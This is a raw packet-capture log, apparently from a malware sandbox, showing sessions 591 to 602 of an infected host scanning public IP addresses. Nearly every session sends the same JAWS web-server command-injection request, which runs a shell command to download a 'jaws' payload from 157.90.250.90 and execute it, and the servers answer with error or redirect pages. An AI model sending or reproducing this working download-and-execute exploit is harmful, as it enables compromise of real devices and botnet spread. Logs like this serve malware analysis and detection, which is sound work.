Jan 2, 2024 06:25:32.415872097 CET	495	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:32 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 75 67 75 72 69 2e 69 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.18 (Ubuntu) Server at auguri.it Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.23	60554	220.134.75.182	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:32.202179909 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.23	41418	1.214.84.9	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:32.217581987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:32.519757986 CET	414	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 02 Jan 2024 05:25:32 GMT Content-Type: text/html Content-Length: 138 Location: http://127.0.0.1/?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.23	60064	175.27.12.219	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:32.237663984 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:34.291126013 CET	382	IN	HTTP/1.1 302 Moved Temporarily Server: stgw Date: Tue, 02 Jan 2024 05:25:32 GMT Content-Type: text/html Content-Length: 137 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 73 74 67 77 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>stgw</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.23	43616	208.109.173.198	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.668261051 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:34.816945076 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:34 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Vary: Accept-Encoding Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Jan 2, 2024 06:25:34.816961050 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat:
Jan 2, 2024 06:25:34.816982031 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 Data Ascii: } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer
Jan 2, 2024 06:25:34.817020893 CET	1286	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b Data Ascii: ; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0;
Jan 2, 2024 06:25:34.817101002 CET	1286	IN	Data Raw: 6f 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 Data Ascii: obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQG
Jan 2, 2024 06:25:34.817174911 CET	1286	IN	Data Raw: 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 59 37 70 34 38 35 45 53 41 56 6d Data Ascii: Rm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT
Jan 2, 2024 06:25:34.817189932 CET	529	IN	Data Raw: 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 74 68 2b 64 2b 70 68 63 69 38 46 4a 66 31 66 77 61 70 69 34 34 72 46 Data Ascii: p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5
Jan 2, 2024 06:25:34.817293882 CET	1286	IN	Data Raw: 42 4e 42 37 57 6b 41 62 38 31 6b 7a 38 66 45 6f 35 4e 61 30 72 41 51 59 55 38 4b 51 45 57 45 50 53 6b 41 61 61 66 6e 52 50 69 58 45 47 48 50 43 43 62 63 6e 78 70 68 49 45 50 50 6e 68 58 63 39 58 6b 52 4e 75 48 68 33 43 77 38 4a 58 74 65 65 43 56 Data Ascii: BNB7WkAb81kz8fEo5Na0rAQYU8KQEWEPSkAaafnRPiXEGHPCCbcnxphIEPPnhXc9XkRNuHh3Cw8JXteeCV7Zjg/wua8YGl3XvDUPy/c/Avd4/hNDSqegQAAAABJRU5ErkJggg==); } .container { width: 70%; } .status-code
Jan 2, 2024 06:25:34.817312956 CET	922	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 67 2d 73 79 73 2f 73 65 72 76 65 72 5f 6d 69 73 63 6f 6e 66 69 67 75 72 65 64 2e 70 Data Ascii: <li> <img src="/img-sys/server_misconfigured.png" class="info-image" /> <div class="info-heading"> (none)/shell?cd+/tmp;rm+-rf+*;wget+ (port 80)

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.23	52698	13.227.73.85	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.683145046 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:34.842896938 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:25:34 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.23	41104	99.79.174.31	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.689899921 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:34.856452942 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:34 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.23	59110	52.218.179.45	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.705547094 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:34.887778997 CET	636	IN	HTTP/1.1 505 HTTP Version not supported Date: Tue, 02 Jan 24 05:25:34 GMT Connection: close Transfer-Encoding: chunked x-amz-id-2: CifCiGeyr61S84S7WMaWGf/tvN9hkugLca9yOw4wZgQkAhQHACi0RWnvom+jlycqRKC0UdOdZpeHMkkVeU74V3shYNCOXUmy x-amz-request-id: ED48292C8DB31ADB Content-Type: application/xml Server: AmazonS3 Data Raw: 31 33 30 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 48 74 74 70 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 48 54 54 50 20 76 65 72 73 69 6f 6e 20 73 70 65 63 69 66 69 65 64 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 52 65 71 75 65 73 74 49 64 3e 45 44 34 38 32 39 32 43 38 44 42 33 31 41 44 42 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 43 69 66 43 69 47 65 79 72 36 31 53 38 34 53 37 57 4d 61 57 47 66 2f 74 76 4e 39 68 6b 75 67 4c 63 61 39 79 4f 77 34 77 5a 67 51 6b 41 68 51 48 41 43 69 30 52 57 6e 76 6f 6d 2b 6a 6c 79 63 71 52 4b 43 30 55 64 4f 64 5a 70 65 48 4d 6b 6b 56 65 55 37 34 56 33 73 68 59 4e 43 4f 58 55 6d 79 3c 2f 48 6f 73 74 49 64 3e 3c 2f 45 72 72 6f 72 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 130<?xml version="1.0" encoding="UTF-8"?><Error><Code>HttpVersionNotSupported</Code><Message>The HTTP version specified is not supported.</Message><RequestId>ED48292C8DB31ADB</RequestId><HostId>CifCiGeyr61S84S7WMaWGf/tvN9hkugLca9yOw4wZgQkAhQHACi0RWnvom+jlycqRKC0UdOdZpeHMkkVeU74V3shYNCOXUmy</HostId></Error>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.23	39898	201.192.158.130	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.727411985 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:34.932440996 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.23	39268	104.121.24.212	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.772505999 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.021729946 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:34 GMT Date: Tue, 02 Jan 2024 05:25:34 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 30 39 38 31 30 30 32 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 34 26 23 34 36 3b 38 37 64 30 37 37 31 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.60981002.1704173134.87d0771c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.23	39990	35.244.131.8	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.794177055 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:34.915853024 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Tue, 02 Jan 2024 05:25:34 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.23	47752	154.219.183.102	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:34.822357893 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:35.121226072 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:25:34 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.23	59240	23.222.136.166	80

Timestamp	Bytes transferred	Direction	Data
